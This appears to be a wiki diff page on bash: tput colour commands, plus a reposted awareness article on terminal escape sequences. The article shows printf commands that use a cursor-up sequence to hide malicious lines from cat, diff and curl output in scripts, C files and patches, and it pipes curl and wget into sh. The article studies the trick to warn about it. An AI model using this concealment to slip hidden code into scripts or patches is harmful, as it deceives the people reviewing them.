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linux:bash [2014/10/28 09:18] – [Other commands] flamencolinux:bash [2022/05/22 10:38] (aktualna) – edycja zewnętrzna 127.0.0.1
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 ====== BASH i okolice ====== ====== BASH i okolice ======
-===== Kolorowanie tekstu w terminalu =====+===== Kolorowanie tekstu w terminalu i inne tamże sztuczki ===== 
 Here is some more detail on the awesome tput command suggested in Ignacio's answer. Here is some more detail on the awesome tput command suggested in Ignacio's answer.
  
 ==== Colour commands ==== ==== Colour commands ====
 <code> <code>
-tput setab [1-7] # Set the background colour using ANSI escape +# Set the background colour using ANSI escape 
-tput setaf [1-7] # Set the foreground colour using ANSI escape+tput setab [1-7] 
 +# Set the foreground colour using ANSI escape 
 +tput setaf [1-7]
 </code> </code>
 Colours are as follows: Colours are as follows:
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 7    white     COLOR_WHITE     max,max,max 7    white     COLOR_WHITE     max,max,max
 </code> </code>
-There are also non-ANSI versions of the colour setting functions (setb instead of setab, and setf instead of setaf) which use different numbers, not given here.+There are also non-ANSI versions of the colour setting functions (''setb'' instead of ''setab'', and ''setf'' instead of ''setaf'') which use different numbers, not given here.
  
 ==== Text mode commands ==== ==== Text mode commands ====
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 Looks like this on my Ubuntu terminal: Looks like this on my Ubuntu terminal:
  
-''Red text and white background''\\ 
 {{:linux:4stug.png?200|}} {{:linux:4stug.png?200|}}
  
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   * See ''[[http://unixhelp.ed.ac.uk/CGI/man-cgi?tput+1|man 1 tput]]''   * See ''[[http://unixhelp.ed.ac.uk/CGI/man-cgi?tput+1|man 1 tput]]''
   * See ''[[http://www.manpagez.com/man/5/terminfo/|man 5 terminfo]]'' for the complete list of commands and more details on these options. (The corresponding tput command is listed in the Cap-name column of the huge table that starts at line 81.)   * See ''[[http://www.manpagez.com/man/5/terminfo/|man 5 terminfo]]'' for the complete list of commands and more details on these options. (The corresponding tput command is listed in the Cap-name column of the huge table that starts at line 81.)
 +
 +===== Backup bashem =====
 +
 +http://www.cyberciti.biz/faq/how-to-wakeup-backup-nas-server-and-mirror-files-using-rsync-in-linux/
 +
 +
 +
 +===== Ciekawostki =====
 +
 +==== Federico Bento ''Terminal escape sequences'' ====
 +
 +
 +So recently i've encountered a post by Kurt Seifried of RedHat on  oss-sec's mailing list entitled //[[http://www.openwall.com/lists/oss-security/2015/08/11/8|"Terminal escape sequences - the new  XSS for admins?"]]//
 +
 +This is a little misleading title, since escape sequences have been introduced circa 70's, so it's actually not that new.
 +
 +How it technically works:
 +
 +A terminal escape sequence is a special sequence of characters that is printed (like any other text).
 +
 +If the terminal understands the sequence, it won't display the character-sequence, but will perform some action.
 +
 +While some people might already know what i'm going to present you, the majority I believe doesn't, so this is mostly to raise awareness.
 +
 +<code bash>
 +$ printf '#!/bin/bash\necho doing something evil!\nexit\n\033[2Aecho  
 +doing something very nice!\n' > backdoor.sh
 +$ chmod +x backdoor.sh
 +$ cat backdoor.sh
 +#!/bin/bash
 +echo doing something very nice!
 +$ ./backdoor.sh
 +doing something evil!
 +</code>
 +
 +As you can see, our beloved ''cat'' cheated on us. Why? Because instead of displaying the character-sequence, the escape sequence **''\033[XA''** (being ''X'' the number of times) performed some action. And this action moves the cursor up ''X'' times, overwriting what is above it ''X'' lines. But this doesn't affect only '**cat**', it affects everything that  
 +interprets escape sequences.
 +
 +<code bash>
 +$ head backdoor.sh
 +#!/bin/bash
 +echo doing something very nice!
 +
 +$ tail backdoor.sh
 +#!/bin/bash
 +echo doing something very nice!
 +
 +$ more backdoor.sh
 +#!/bin/bash
 +echo doing something very nice!
 +</code>
 +
 +It's not over yet!
 +
 +<code bash>
 +$ curl 127.0.0.1/backdoor.sh
 +#!/bin/bash
 +echo doing something very nice!
 +
 +$ wget -qO - 127.0.0.1/backdoor.sh
 +#!/bin/bash
 +echo doing something very nice!
 +</code>
 +
 +But if we pipe it into a shell...
 +
 +<code bash>
 +$ curl -s 127.0.0.1/backdoor.sh|sh
 +doing something evil!
 +
 +$ wget -qO - 127.0.0.1/backdoor.sh|sh
 +doing something evil!
 +</code>
 +
 +You might be thinking //"If I opened that in my browser, I would detect it being malicious!"//
 +
 +Well, think again...
 +
 +One can have all sorts of fun with user-agents, something that can easily come to mind is verifying if the user-agent is from curl or wget, and make them download the malicious file, if not, redirect them to a legitimate file that looks like the original output. Your browser would fool you then.
 +
 +I wouldn't even be surprised if most of those install scripts that make use of these ''pipe into sh'' bullcrap abused this.
 +
 +I wouldn't even be surprised if most of you were already pwned by escape sequences in any situation at all. Imagine the possibilities, from hidden ssh keys on your authorized_keys to options hidden on your configuration files...
 +
 +It's no secret, most of us rely on ''cat'' to view files. I guess this is one black kitty, giving you bad luck.
 +
 +Here's another example with a ''.c'' file
 +
 +<code c>
 +$ printf '#include <stdio.h>\n\nint main()\n{\n\tprintf("doing  
 +something evil\\n");\n\t/*\033[2A\n\t/* This simple program doesnt do  
 +much... */\n\tprintf("doing something very nice\\n");\n\treturn  
 +0;\n}\n' > nice.c
 +$ cat nice.c
 +#include <stdio.h>
 +
 +int main()
 +{
 + /* This simple program doesnt do much... */
 + printf("doing something very nice\n");
 + return 0;
 +}
 +</code>
 +<code bash>
 +$ gcc nice.c
 +$ ./a.out
 +doing something evil
 +doing something very nice
 +</code>
 +
 +''diff'' also interprets escape sequences and so do the resulting patches 
 +
 +Going back to the first example, imagine I have a ''backdoored.sh'' that is backdoored, and a legit.sh that does what it's output tells us.
 +
 +<code bash>
 +$ cat backdoor.sh #evil file
 +#!/bin/bash
 +echo doing something very nice!
 +
 +$ cat legit.sh #actually echoes doing something very nice!
 +#!/bin/bash
 +echo doing something very nice!
 +
 +
 +$ diff -Naur backdoor.sh legit.sh
 +--- backdoor.sh 2015-09-17 16:25:42.985349535 +0100
 ++++ legit.sh 2015-09-17 16:26:14.950158635 +0100
 +@@ -1,4 +1,2 @@
 +  #!/bin/bash
 +-echo doing something very nice!
 ++echo doing something very nice!
 +
 +$ diff -Naur backdoor.sh legit.sh > file.patch
 +$ patch legit.sh -R file.patch
 +$ chmod +x legit.sh
 +$ ./legit.sh
 +doing something evil!
 +</code>
 +
 +=== Hint: ===
 +''less'' doesn't interpret escape sequences unless the ''-r'' switch is used, so stop aliasing it to ''less -r'' just because there's no colored output.
 +
 +
 +s/party/hack like it's 1999
 +
  • linux/bash.1414484333.txt.gz
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